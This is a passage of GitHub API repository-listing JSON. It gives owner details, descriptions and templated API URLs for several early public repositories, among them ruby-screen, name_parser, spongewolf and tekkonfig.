ser"},"private":false,"html_url":"https://github.com/labria/restful-authentication","description":"Attempt to add SSL client certificate support to the restful_authenctication plugin","fork":true,"url":"https://api.github.com/repos/labria/restful-authentication","forks_url":"https://api.github.com/repos/labria/restful-authentication/forks","keys_url":"https://api.github.com/repos/labria/restful-authentication/keys{/key_id}","collaborators_url":"https://api.github.com/repos/labria/restful-authentication/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/labria/restful-authentication/teams","hooks_url":"https://api.github.com/repos/labria/restful-authentication/hooks","issue_events_url":"https://api.github.com/repos/labria/restful-authentication/issues/events{/number}","events_url":"https://api.github.com/repos/labria/restful-authentication/events","assignees_url":"https://api.github.com/repos/labria/restful-authentication/assignees{/user}","branches_url":"https://api.github.com/repos/labria/restful-authentication/branches{/branch}","tags_url":"https://api.github.com/repos/labria/restful-authentication/tags","blobs_url":"https://api.github.com/repos/labria/restful-authentication/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/labria/restful-authentication/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/labria/restful-authentication/git/refs{/sha}","trees_url":"https://api.github.com/repos/labria/restful-authentication/git/trees{/sha}","statuses_url":"https://api.github.com/repos/labria/restful-authentication/statuses/{sha}","languages_url":"https://api.github.com/repos/labria/restful-authentication/languages","stargazers_url":"https://api.github.com/repos/labria/restful-authentication/stargazers","contributors_url":"https://api.github.com/repos/labria/restful-authentication/contributors","subscribers_url":"https://api.github.com/repos/labria/restful-authentication/subscribers","subscription_url":"https://api.github.com/repos/labria/restful-authentication/subscription","commits_url":"https://api.github.com/repos/labria/restful-authentication/commits{/sha}","git_commits_url":"https://api.github.com/repos/labria/restful-authentication/git/commits{/sha}","comments_url":"https://api.github.com/repos/labria/restful-authentication/comments{/number}","issue_comment_url":"https://api.github.com/repos/labria/restful-authentication/issues/comments/{number}","contents_url":"https://api.github.com/repos/labria/restful-authentication/contents/{+path}","compare_url":"https://api.github.com/repos/labria/restful-authentication/compare/{base}...{head}","merges_url":"https://api.github.com/repos/labria/restful-authentication/merges","archive_url":"https://api.github.com/repos/labria/restful-authentication/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/labria/restful-authentication/downloads","issues_url":"https://api.github.com/repos/labria/restful-authentication/issues{/number}","pulls_url":"https://api.github.com/repos/labria/restful-authentication/pulls{/number}","milestones_url":"https://api.github.com/repos/labria/restful-authentication/milestones{/number}","notifications_url":"https://api.github.com/repos/labria/restful-authentication/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/labria/restful-authentication/labels{/name}"},{"id":1355,"name":"ruby-screen","full_name":"dpetersen/ruby-screen","owner":{"login":"dpetersen","id":408,"avatar_url":"https://2.gravatar.com/avatar/5cc7967fc5c25199c88410bc56eb1329?d=https%3A%2F%2Fidenticons.github.com%2F0d0fd7c6e093f7b804fa0150b875b868.png","gravatar_id":"5cc7967fc5c25199c88410bc56eb1329","url":"https://api.github.com/users/dpetersen","html_url":"https://github.com/dpetersen","followers_url":"https://api.github.com/users/dpetersen/followers","following_url":"https://api.github.com/users/dpetersen/following{/other_user}","gists_url":"https://api.github.com/users/dpetersen/gists{/gist_id}","starred_url":"https://api.github.com/users/dpetersen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dpetersen/subscriptions","organizations_url":"https://api.github.com/users/dpetersen/orgs","repos_url":"https://api.github.com/users/dpetersen/repos","events_url":"https://api.github.com/users/dpetersen/events{/privacy}","received_events_url":"https://api.github.com/users/dpetersen/received_events","type":"User"},"private":false,"html_url":"https://github.com/dpetersen/ruby-screen","description":"A utility to supplement GNU Screen, easing use of custom configurations, packaged as a RubyGem.","fork":false,"url":"https://api.github.com/repos/dpetersen/ruby-screen","forks_url":"https://api.github.com/repos/dpetersen/ruby-screen/forks","keys_url":"https://api.github.com/repos/dpetersen/ruby-screen/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dpetersen/ruby-screen/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dpetersen/ruby-screen/teams","hooks_url":"https://api.github.com/repos/dpetersen/ruby-screen/hooks","issue_events_url":"https://api.github.com/repos/dpetersen/ruby-screen/issues/events{/number}","events_url":"https://api.github.com/repos/dpetersen/ruby-screen/events","assignees_url":"https://api.github.com/repos/dpetersen/ruby-screen/assignees{/user}","branches_url":"https://api.github.com/repos/dpetersen/ruby-screen/branches{/branch}","tags_url":"https://api.github.com/repos/dpetersen/ruby-screen/tags","blobs_url":"https://api.github.com/repos/dpetersen/ruby-screen/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dpetersen/ruby-screen/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dpetersen/ruby-screen/git/refs{/sha}","trees_url":"https://api.github.com/repos/dpetersen/ruby-screen/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dpetersen/ruby-screen/statuses/{sha}","languages_url":"https://api.github.com/repos/dpetersen/ruby-screen/languages","stargazers_url":"https://api.github.com/repos/dpetersen/ruby-screen/stargazers","contributors_url":"https://api.github.com/repos/dpetersen/ruby-screen/contributors","subscribers_url":"https://api.github.com/repos/dpetersen/ruby-screen/subscribers","subscription_url":"https://api.github.com/repos/dpetersen/ruby-screen/subscription","commits_url":"https://api.github.com/repos/dpetersen/ruby-screen/commits{/sha}","git_commits_url":"https://api.github.com/repos/dpetersen/ruby-screen/git/commits{/sha}","comments_url":"https://api.github.com/repos/dpetersen/ruby-screen/comments{/number}","issue_comment_url":"https://api.github.com/repos/dpetersen/ruby-screen/issues/comments/{number}","contents_url":"https://api.github.com/repos/dpetersen/ruby-screen/contents/{+path}","compare_url":"https://api.github.com/repos/dpetersen/ruby-screen/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dpetersen/ruby-screen/merges","archive_url":"https://api.github.com/repos/dpetersen/ruby-screen/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dpetersen/ruby-screen/downloads","issues_url":"https://api.github.com/repos/dpetersen/ruby-screen/issues{/number}","pulls_url":"https://api.github.com/repos/dpetersen/ruby-screen/pulls{/number}","milestones_url":"https://api.github.com/repos/dpetersen/ruby-screen/milestones{/number}","notifications_url":"https://api.github.com/repos/dpetersen/ruby-screen/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dpetersen/ruby-screen/labels{/name}"},{"id":1364,"name":"eatingsafe","full_name":"aharper/eatingsafe","owner":{"login":"aharper","id":1002,"avatar_url":"https://identicons.github.com/fba9d88164f3e2d9109ee770223212a0.png","gravatar_id":null,"url":"https://api.github.com/users/aharper","html_url":"https://github.com/aharper","followers_url":"https://api.github.com/users/aharper/followers","following_url":"https://api.github.com/users/aharper/following{/other_user}","gists_url":"https://api.github.com/users/aharper/gists{/gist_id}","starred_url":"https://api.github.com/users/aharper/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/aharper/subscriptions","organizations_url":"https://api.github.com/users/aharper/orgs","repos_url":"https://api.github.com/users/aharper/repos","events_url":"https://api.github.com/users/aharper/events{/privacy}","received_events_url":"https://api.github.com/users/aharper/received_events","type":"User"},"private":false,"html_url":"https://github.com/aharper/eatingsafe","description":"","fork":false,"url":"https://api.github.com/repos/aharper/eatingsafe","forks_url":"https://api.github.com/repos/aharper/eatingsafe/forks","keys_url":"https://api.github.com/repos/aharper/eatingsafe/keys{/key_id}","collaborators_url":"https://api.github.com/repos/aharper/eatingsafe/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/aharper/eatingsafe/teams","hooks_url":"https://api.github.com/repos/aharper/eatingsafe/hooks","issue_events_url":"https://api.github.com/repos/aharper/eatingsafe/issues/events{/number}","events_url":"https://api.github.com/repos/aharper/eatingsafe/events","assignees_url":"https://api.github.com/repos/aharper/eatingsafe/assignees{/user}","branches_url":"https://api.github.com/repos/aharper/eatingsafe/branches{/branch}","tags_url":"https://api.github.com/repos/aharper/eatingsafe/tags","blobs_url":"https://api.github.com/repos/aharper/eatingsafe/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/aharper/eatingsafe/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/aharper/eatingsafe/git/refs{/sha}","trees_url":"https://api.github.com/repos/aharper/eatingsafe/git/trees{/sha}","statuses_url":"https://api.github.com/repos/aharper/eatingsafe/statuses/{sha}","languages_url":"https://api.github.com/repos/aharper/eatingsafe/languages","stargazers_url":"https://api.github.com/repos/aharper/eatingsafe/stargazers","contributors_url":"https://api.github.com/repos/aharper/eatingsafe/contributors","subscribers_url":"https://api.github.com/repos/aharper/eatingsafe/subscribers","subscription_url":"https://api.github.com/repos/aharper/eatingsafe/subscription","commits_url":"https://api.github.com/repos/aharper/eatingsafe/commits{/sha}","git_commits_url":"https://api.github.com/repos/aharper/eatingsafe/git/commits{/sha}","comments_url":"https://api.github.com/repos/aharper/eatingsafe/comments{/number}","issue_comment_url":"https://api.github.com/repos/aharper/eatingsafe/issues/comments/{number}","contents_url":"https://api.github.com/repos/aharper/eatingsafe/contents/{+path}","compare_url":"https://api.github.com/repos/aharper/eatingsafe/compare/{base}...{head}","merges_url":"https://api.github.com/repos/aharper/eatingsafe/merges","archive_url":"https://api.github.com/repos/aharper/eatingsafe/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/aharper/eatingsafe/downloads","issues_url":"https://api.github.com/repos/aharper/eatingsafe/issues{/number}","pulls_url":"https://api.github.com/repos/aharper/eatingsafe/pulls{/number}","milestones_url":"https://api.github.com/repos/aharper/eatingsafe/milestones{/number}","notifications_url":"https://api.github.com/repos/aharper/eatingsafe/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/aharper/eatingsafe/labels{/name}"},{"id":1377,"name":"name_parser","full_name":"bricooke/name_parser","owner":{"login":"bricooke","id":977,"avatar_url":"https://1.gravatar.com/avatar/916de6eec58087391b518c5ac3ac7f47?d=https%3A%2F%2Fidenticons.github.com%2Fcc1aa436277138f61cda703991069eaf.png","gravatar_id":"916de6eec58087391b518c5ac3ac7f47","url":"https://api.github.com/users/bricooke","html_url":"https://github.com/bricooke","followers_url":"https://api.github.com/users/bricooke/followers","following_url":"https://api.github.com/users/bricooke/following{/other_user}","gists_url":"https://api.github.com/users/bricooke/gists{/gist_id}","starred_url":"https://api.github.com/users/bricooke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bricooke/subscriptions","organizations_url":"https://api.github.com/users/bricooke/orgs","repos_url":"https://api.github.com/users/bricooke/repos","events_url":"https://api.github.com/users/bricooke/events{/privacy}","received_events_url":"https://api.github.com/users/bricooke/received_events","type":"User"},"private":false,"html_url":"https://github.com/bricooke/name_parser","description":"Gem for parsing names into first, last, middle, prefix and suffix","fork":false,"url":"https://api.github.com/repos/bricooke/name_parser","forks_url":"https://api.github.com/repos/bricooke/name_parser/forks","keys_url":"https://api.github.com/repos/bricooke/name_parser/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bricooke/name_parser/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bricooke/name_parser/teams","hooks_url":"https://api.github.com/repos/bricooke/name_parser/hooks","issue_events_url":"https://api.github.com/repos/bricooke/name_parser/issues/events{/number}","events_url":"https://api.github.com/repos/bricooke/name_parser/events","assignees_url":"https://api.github.com/repos/bricooke/name_parser/assignees{/user}","branches_url":"https://api.github.com/repos/bricooke/name_parser/branches{/branch}","tags_url":"https://api.github.com/repos/bricooke/name_parser/tags","blobs_url":"https://api.github.com/repos/bricooke/name_parser/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bricooke/name_parser/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bricooke/name_parser/git/refs{/sha}","trees_url":"https://api.github.com/repos/bricooke/name_parser/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bricooke/name_parser/statuses/{sha}","languages_url":"https://api.github.com/repos/bricooke/name_parser/languages","stargazers_url":"https://api.github.com/repos/bricooke/name_parser/stargazers","contributors_url":"https://api.github.com/repos/bricooke/name_parser/contributors","subscribers_url":"https://api.github.com/repos/bricooke/name_parser/subscribers","subscription_url":"https://api.github.com/repos/bricooke/name_parser/subscription","commits_url":"https://api.github.com/repos/bricooke/name_parser/commits{/sha}","git_commits_url":"https://api.github.com/repos/bricooke/name_parser/git/commits{/sha}","comments_url":"https://api.github.com/repos/bricooke/name_parser/comments{/number}","issue_comment_url":"https://api.github.com/repos/bricooke/name_parser/issues/comments/{number}","contents_url":"https://api.github.com/repos/bricooke/name_parser/contents/{+path}","compare_url":"https://api.github.com/repos/bricooke/name_parser/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bricooke/name_parser/merges","archive_url":"https://api.github.com/repos/bricooke/name_parser/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bricooke/name_parser/downloads","issues_url":"https://api.github.com/repos/bricooke/name_parser/issues{/number}","pulls_url":"https://api.github.com/repos/bricooke/name_parser/pulls{/number}","milestones_url":"https://api.github.com/repos/bricooke/name_parser/milestones{/number}","notifications_url":"https://api.github.com/repos/bricooke/name_parser/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bricooke/name_parser/labels{/name}"},{"id":1381,"name":"ext_scaffold","full_name":"drudru/ext_scaffold","owner":{"login":"drudru","id":546,"avatar_url":"https://identicons.github.com/ed265bc903a5a097f61d3ec064d96d2e.png","gravatar_id":null,"url":"https://api.github.com/users/drudru","html_url":"https://github.com/drudru","followers_url":"https://api.github.com/users/drudru/followers","following_url":"https://api.github.com/users/drudru/following{/other_user}","gists_url":"https://api.github.com/users/drudru/gists{/gist_id}","starred_url":"https://api.github.com/users/drudru/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/drudru/subscriptions","organizations_url":"https://api.github.com/users/drudru/orgs","repos_url":"https://api.github.com/users/drudru/repos","events_url":"https://api.github.com/users/drudru/events{/privacy}","received_events_url":"https://api.github.com/users/drudru/received_events","type":"User"},"private":false,"html_url":"https://github.com/drudru/ext_scaffold","description":"copy of ext_scaffold","fork":false,"url":"https://api.github.com/repos/drudru/ext_scaffold","forks_url":"https://api.github.com/repos/drudru/ext_scaffold/forks","keys_url":"https://api.github.com/repos/drudru/ext_scaffold/keys{/key_id}","collaborators_url":"https://api.github.com/repos/drudru/ext_scaffold/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/drudru/ext_scaffold/teams","hooks_url":"https://api.github.com/repos/drudru/ext_scaffold/hooks","issue_events_url":"https://api.github.com/repos/drudru/ext_scaffold/issues/events{/number}","events_url":"https://api.github.com/repos/drudru/ext_scaffold/events","assignees_url":"https://api.github.com/repos/drudru/ext_scaffold/assignees{/user}","branches_url":"https://api.github.com/repos/drudru/ext_scaffold/branches{/branch}","tags_url":"https://api.github.com/repos/drudru/ext_scaffold/tags","blobs_url":"https://api.github.com/repos/drudru/ext_scaffold/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/drudru/ext_scaffold/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/drudru/ext_scaffold/git/refs{/sha}","trees_url":"https://api.github.com/repos/drudru/ext_scaffold/git/trees{/sha}","statuses_url":"https://api.github.com/repos/drudru/ext_scaffold/statuses/{sha}","languages_url":"https://api.github.com/repos/drudru/ext_scaffold/languages","stargazers_url":"https://api.github.com/repos/drudru/ext_scaffold/stargazers","contributors_url":"https://api.github.com/repos/drudru/ext_scaffold/contributors","subscribers_url":"https://api.github.com/repos/drudru/ext_scaffold/subscribers","subscription_url":"https://api.github.com/repos/drudru/ext_scaffold/subscription","commits_url":"https://api.github.com/repos/drudru/ext_scaffold/commits{/sha}","git_commits_url":"https://api.github.com/repos/drudru/ext_scaffold/git/commits{/sha}","comments_url":"https://api.github.com/repos/drudru/ext_scaffold/comments{/number}","issue_comment_url":"https://api.github.com/repos/drudru/ext_scaffold/issues/comments/{number}","contents_url":"https://api.github.com/repos/drudru/ext_scaffold/contents/{+path}","compare_url":"https://api.github.com/repos/drudru/ext_scaffold/compare/{base}...{head}","merges_url":"https://api.github.com/repos/drudru/ext_scaffold/merges","archive_url":"https://api.github.com/repos/drudru/ext_scaffold/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/drudru/ext_scaffold/downloads","issues_url":"https://api.github.com/repos/drudru/ext_scaffold/issues{/number}","pulls_url":"https://api.github.com/repos/drudru/ext_scaffold/pulls{/number}","milestones_url":"https://api.github.com/repos/drudru/ext_scaffold/milestones{/number}","notifications_url":"https://api.github.com/repos/drudru/ext_scaffold/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/drudru/ext_scaffold/labels{/name}"},{"id":1385,"name":"spongewolf","full_name":"ckhsponge/spongewolf","owner":{"login":"ckhsponge","id":590,"avatar_url":"https://2.gravatar.com/avatar/56b08cc76663f72307f41583a1980454?d=https%3A%2F%2Fidenticons.github.com%2F08b255a5d42b89b0585260b6f2360bdd.png","gravatar_id":"56b08cc76663f72307f41583a1980454","url":"https://api.github.com/users/ckhsponge","html_url":"https://github.com/ckhsponge","followers_url":"https://api.github.com/users/ckhsponge/followers","following_url":"https://api.github.com/users/ckhsponge/following{/other_user}","gists_url":"https://api.github.com/users/ckhsponge/gists{/gist_id}","starred_url":"https://api.github.com/users/ckhsponge/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ckhsponge/subscriptions","organizations_url":"https://api.github.com/users/ckhsponge/orgs","repos_url":"https://api.github.com/users/ckhsponge/repos","events_url":"https://api.github.com/users/ckhsponge/events{/privacy}","received_events_url":"https://api.github.com/users/ckhsponge/received_events","type":"User"},"private":false,"html_url":"https://github.com/ckhsponge/spongewolf","description":"Rails application for building event lists and calendars using the Spongecell API","fork":false,"url":"https://api.github.com/repos/ckhsponge/spongewolf","forks_url":"https://api.github.com/repos/ckhsponge/spongewolf/forks","keys_url":"https://api.github.com/repos/ckhsponge/spongewolf/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ckhsponge/spongewolf/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ckhsponge/spongewolf/teams","hooks_url":"https://api.github.com/repos/ckhsponge/spongewolf/hooks","issue_events_url":"https://api.github.com/repos/ckhsponge/spongewolf/issues/events{/number}","events_url":"https://api.github.com/repos/ckhsponge/spongewolf/events","assignees_url":"https://api.github.com/repos/ckhsponge/spongewolf/assignees{/user}","branches_url":"https://api.github.com/repos/ckhsponge/spongewolf/branches{/branch}","tags_url":"https://api.github.com/repos/ckhsponge/spongewolf/tags","blobs_url":"https://api.github.com/repos/ckhsponge/spongewolf/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ckhsponge/spongewolf/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ckhsponge/spongewolf/git/refs{/sha}","trees_url":"https://api.github.com/repos/ckhsponge/spongewolf/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ckhsponge/spongewolf/statuses/{sha}","languages_url":"https://api.github.com/repos/ckhsponge/spongewolf/languages","stargazers_url":"https://api.github.com/repos/ckhsponge/spongewolf/stargazers","contributors_url":"https://api.github.com/repos/ckhsponge/spongewolf/contributors","subscribers_url":"https://api.github.com/repos/ckhsponge/spongewolf/subscribers","subscription_url":"https://api.github.com/repos/ckhsponge/spongewolf/subscription","commits_url":"https://api.github.com/repos/ckhsponge/spongewolf/commits{/sha}","git_commits_url":"https://api.github.com/repos/ckhsponge/spongewolf/git/commits{/sha}","comments_url":"https://api.github.com/repos/ckhsponge/spongewolf/comments{/number}","issue_comment_url":"https://api.github.com/repos/ckhsponge/spongewolf/issues/comments/{number}","contents_url":"https://api.github.com/repos/ckhsponge/spongewolf/contents/{+path}","compare_url":"https://api.github.com/repos/ckhsponge/spongewolf/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ckhsponge/spongewolf/merges","archive_url":"https://api.github.com/repos/ckhsponge/spongewolf/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ckhsponge/spongewolf/downloads","issues_url":"https://api.github.com/repos/ckhsponge/spongewolf/issues{/number}","pulls_url":"https://api.github.com/repos/ckhsponge/spongewolf/pulls{/number}","milestones_url":"https://api.github.com/repos/ckhsponge/spongewolf/milestones{/number}","notifications_url":"https://api.github.com/repos/ckhsponge/spongewolf/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ckhsponge/spongewolf/labels{/name}"},{"id":1388,"name":"amazing","full_name":"dag/amazing","owner":{"login":"dag","id":319,"avatar_url":"https://1.gravatar.com/avatar/482f6832b98eccb86e2a5dc4de8aad91?d=https%3A%2F%2Fidenticons.github.com%2F8d3bba7425e7c98c50f52ca1b52d3735.png","gravatar_id":"482f6832b98eccb86e2a5dc4de8aad91","url":"https://api.github.com/users/dag","html_url":"https://github.com/dag","followers_url":"https://api.github.com/users/dag/followers","following_url":"https://api.github.com/users/dag/following{/other_user}","gists_url":"https://api.github.com/users/dag/gists{/gist_id}","starred_url":"https://api.github.com/users/dag/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dag/subscriptions","organizations_url":"https://api.github.com/users/dag/orgs","repos_url":"https://api.github.com/users/dag/repos","events_url":"https://api.github.com/users/dag/events{/privacy}","received_events_url":"https://api.github.com/users/dag/received_events","type":"User"},"private":false,"html_url":"https://github.com/dag/amazing","description":"an amazing widget manager for an awesome window manager","fork":false,"url":"https://api.github.com/repos/dag/amazing","forks_url":"https://api.github.com/repos/dag/amazing/forks","keys_url":"https://api.github.com/repos/dag/amazing/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dag/amazing/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dag/amazing/teams","hooks_url":"https://api.github.com/repos/dag/amazing/hooks","issue_events_url":"https://api.github.com/repos/dag/amazing/issues/events{/number}","events_url":"https://api.github.com/repos/dag/amazing/events","assignees_url":"https://api.github.com/repos/dag/amazing/assignees{/user}","branches_url":"https://api.github.com/repos/dag/amazing/branches{/branch}","tags_url":"https://api.github.com/repos/dag/amazing/tags","blobs_url":"https://api.github.com/repos/dag/amazing/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dag/amazing/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dag/amazing/git/refs{/sha}","trees_url":"https://api.github.com/repos/dag/amazing/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dag/amazing/statuses/{sha}","languages_url":"https://api.github.com/repos/dag/amazing/languages","stargazers_url":"https://api.github.com/repos/dag/amazing/stargazers","contributors_url":"https://api.github.com/repos/dag/amazing/contributors","subscribers_url":"https://api.github.com/repos/dag/amazing/subscribers","subscription_url":"https://api.github.com/repos/dag/amazing/subscription","commits_url":"https://api.github.com/repos/dag/amazing/commits{/sha}","git_commits_url":"https://api.github.com/repos/dag/amazing/git/commits{/sha}","comments_url":"https://api.github.com/repos/dag/amazing/comments{/number}","issue_comment_url":"https://api.github.com/repos/dag/amazing/issues/comments/{number}","contents_url":"https://api.github.com/repos/dag/amazing/contents/{+path}","compare_url":"https://api.github.com/repos/dag/amazing/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dag/amazing/merges","archive_url":"https://api.github.com/repos/dag/amazing/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dag/amazing/downloads","issues_url":"https://api.github.com/repos/dag/amazing/issues{/number}","pulls_url":"https://api.github.com/repos/dag/amazing/pulls{/number}","milestones_url":"https://api.github.com/repos/dag/amazing/milestones{/number}","notifications_url":"https://api.github.com/repos/dag/amazing/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dag/amazing/labels{/name}"},{"id":1398,"name":"ruby-merlin","full_name":"pdsphil/ruby-merlin","owner":{"login":"pdsphil","id":268,"avatar_url":"https://1.gravatar.com/avatar/e0bd199c24c59f1666f3ce960c3309ee?d=https%3A%2F%2Fidenticons.github.com%2F8f121ce07d74717e0b1f21d122e04521.png","gravatar_id":"e0bd199c24c59f1666f3ce960c3309ee","url":"https://api.github.com/users/pdsphil","html_url":"https://github.com/pdsphil","followers_url":"https://api.github.com/users/pdsphil/followers","following_url":"https://api.github.com/users/pdsphil/following{/other_user}","gists_url":"https://api.github.com/users/pdsphil/gists{/gist_id}","starred_url":"https://api.github.com/users/pdsphil/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pdsphil/subscriptions","organizations_url":"https://api.github.com/users/pdsphil/orgs","repos_url":"https://api.github.com/users/pdsphil/repos","events_url":"https://api.github.com/users/pdsphil/events{/privacy}","received_events_url":"https://api.github.com/users/pdsphil/received_events","type":"User"},"private":false,"html_url":"https://github.com/pdsphil/ruby-merlin","description":"Ruby interface to the Merlin API","fork":false,"url":"https://api.github.com/repos/pdsphil/ruby-merlin","forks_url":"https://api.github.com/repos/pdsphil/ruby-merlin/forks","keys_url":"https://api.github.com/repos/pdsphil/ruby-merlin/keys{/key_id}","collaborators_url":"https://api.github.com/repos/pdsphil/ruby-merlin/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/pdsphil/ruby-merlin/teams","hooks_url":"https://api.github.com/repos/pdsphil/ruby-merlin/hooks","issue_events_url":"https://api.github.com/repos/pdsphil/ruby-merlin/issues/events{/number}","events_url":"https://api.github.com/repos/pdsphil/ruby-merlin/events","assignees_url":"https://api.github.com/repos/pdsphil/ruby-merlin/assignees{/user}","branches_url":"https://api.github.com/repos/pdsphil/ruby-merlin/branches{/branch}","tags_url":"https://api.github.com/repos/pdsphil/ruby-merlin/tags","blobs_url":"https://api.github.com/repos/pdsphil/ruby-merlin/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/pdsphil/ruby-merlin/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/pdsphil/ruby-merlin/git/refs{/sha}","trees_url":"https://api.github.com/repos/pdsphil/ruby-merlin/git/trees{/sha}","statuses_url":"https://api.github.com/repos/pdsphil/ruby-merlin/statuses/{sha}","languages_url":"https://api.github.com/repos/pdsphil/ruby-merlin/languages","stargazers_url":"https://api.github.com/repos/pdsphil/ruby-merlin/stargazers","contributors_url":"https://api.github.com/repos/pdsphil/ruby-merlin/contributors","subscribers_url":"https://api.github.com/repos/pdsphil/ruby-merlin/subscribers","subscription_url":"https://api.github.com/repos/pdsphil/ruby-merlin/subscription","commits_url":"https://api.github.com/repos/pdsphil/ruby-merlin/commits{/sha}","git_commits_url":"https://api.github.com/repos/pdsphil/ruby-merlin/git/commits{/sha}","comments_url":"https://api.github.com/repos/pdsphil/ruby-merlin/comments{/number}","issue_comment_url":"https://api.github.com/repos/pdsphil/ruby-merlin/issues/comments/{number}","contents_url":"https://api.github.com/repos/pdsphil/ruby-merlin/contents/{+path}","compare_url":"https://api.github.com/repos/pdsphil/ruby-merlin/compare/{base}...{head}","merges_url":"https://api.github.com/repos/pdsphil/ruby-merlin/merges","archive_url":"https://api.github.com/repos/pdsphil/ruby-merlin/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/pdsphil/ruby-merlin/downloads","issues_url":"https://api.github.com/repos/pdsphil/ruby-merlin/issues{/number}","pulls_url":"https://api.github.com/repos/pdsphil/ruby-merlin/pulls{/number}","milestones_url":"https://api.github.com/repos/pdsphil/ruby-merlin/milestones{/number}","notifications_url":"https://api.github.com/repos/pdsphil/ruby-merlin/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/pdsphil/ruby-merlin/labels{/name}"},{"id":1401,"name":"tekkonfig","full_name":"tekkub/tekkonfig","owner":{"login":"tekkub","id":706,"avatar_url":"https://1.gravatar.com/avatar/472814aac7576b67da59ea79fcbf7d66?d=https%3A%2F%2Fidenticons.github.com%2F9c82c7143c102b71c593d98d96093fde.png","gravatar_id":"472814aac7576b67da59ea79fcbf7d66","url":"https://api.github.com/users/tekkub","html_url":"https://github.com/tekkub","followers_url":"https://api.github.com/users/tekkub/followers","following_url":"https://api.github.com/users/tekkub/following{/other_user}","gists_url":"https://api.github.com/users/tekkub/gists{/gist_id}","starred_url":"https://api.github.com/users/tekkub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tekkub/subscriptions","organizations_url":"https://api.github.com/users/tekkub/orgs","repos_url":"https://api.github.com/users/tekkub/repos","events_url":"https://api.github.com/users/tekkub/events{/privacy}","received_events_url":"https://api.github.com/users/tekkub/received_events","type":"User"},"private":false,"html_url":"https://github.com/tekkub/tekkonfig","description":"Misc GUI widget factories for World of Warcraft addons","fork":false,"url":"https://api.github.com/repos/tekkub/tekkonfig","forks_url":"https://api.github.com/repos/tekkub/tekkonfig/forks","keys_url":"https://api.github.com/repos/tekkub/tekkonfig/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tekkub/tekkonfig/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tekkub/tekkonfig/teams","hooks_url":"https://api.github.com/repos/tekkub/tekkonfig/hooks","issue_events_url":"https://api.github.com/repos/tekkub/tekkonfig/issues/events{/number}","events_url":"https://api.github.com/repos/tekkub/tekkonfig/events","assignees_url":"https://api.github.com/repos/tekkub/tekkonfig/assignees{/user}","branches_url":"https://api.github.com/repos/tekkub/tekkonfig/branches{/branch}","tags_url":"https://api.github.com/repos/tekkub/tekkonfig/tags","blobs_url":"https://api.github.com/repos/tekkub/tekkonfig/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tekkub/tekkonfig/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tekkub/tekkonfig/git/refs{/sha}","trees_url":"https://api.github.com/repos/tekkub/tekkonfig/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tekkub/tekkonfig/statuses/{sha}","languages_url":"https://api.github.com/repos/tekkub/tekkonfig/languages","stargazers_url":"https://api.github.com/repos/tekkub/tekkonfig/stargazers","contributors_url":"https://api.github.com/repos/tekkub/tekkonfig/contributors","subscribers_url":"https://api.github.com/repos/tekkub/tekkonfig/subscribers","subscription_url":"https://api.github.com/repos/tekkub/tekkonfig/subscription","commits_url":"https://api.github.com/repos/tekkub/tekkonfig/commits{/sha}","git_commits_url":"https://api.github.com/repos/tekkub/tekkonfig/git/commits{/sha}